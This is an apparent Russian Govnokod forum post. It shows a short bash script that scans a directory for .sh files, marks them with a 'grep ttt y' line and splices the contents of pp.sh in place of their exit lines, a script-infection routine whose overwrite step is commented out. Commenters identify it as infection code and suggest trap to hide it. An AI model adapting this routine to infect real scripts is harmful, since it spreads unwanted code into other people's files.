Beri bash i ebash / Говнокод #2233 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
#!/bin/bash
grep ttt y
for fl in `find $1 | grep .sh$`
do
l1=`cat $fl | head -n 2 | grep ttt`
l2="grep ttt y"
case $l1 in
$l2)
echo "yes "$l1" "$fl
        ;;
*)
        echo "no "$l1" "$fl
        echo '#!/bin/bash' > $fl.2
        echo 'grep ttt y' >> $fl.2
        cat $fl | gawk '{ if(/exit/){ system("cat /home/alice/pp.sh") } else { print $0 } }' >> $fl.2
        cat $fl.2
#        cp $fl.2 $fl
        rm $fl.2
esac
done
cp ~/pp.sh~ ~/pp.sh
exit 0

Запостил: Alice Alice, (Updated )

Комментарии (4) RSS

    • Понимаю, но без знания содержимого pp.sh не до конца. Впрочем, при закомментированной команде копирования правильный ответ будет: "почти ничего, только спамит много":)
      Ответить
    • Тогда понятно, процедура заражения скриптов. А почему не trap? Его проще замешать.
      Только слишком понятно написано
      Ответить

Добавить комментарий

Я, guest, находясь в здравом уме и твердой памяти, торжественно заявляю:

    А не использовать ли нам bbcode?


    8